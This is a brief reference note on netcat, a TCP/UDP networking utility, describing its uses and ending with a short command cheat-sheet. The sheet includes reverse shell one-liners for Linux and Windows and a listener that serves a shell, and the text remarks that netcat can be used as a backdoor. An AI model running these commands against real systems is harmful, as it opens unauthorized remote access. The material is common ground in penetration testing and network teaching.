netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities.

Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor.

Reverse shell on Linux:

nc [IP of remote system] [port] -e /bin/sh

Reverse shell on Windows:

nc [IP of remote system] [port] -e cmd.exe

Set up a listener:

nc -l -p [port]

Set up a listener with a shell:

nc -l -p [port] -e /bin/sh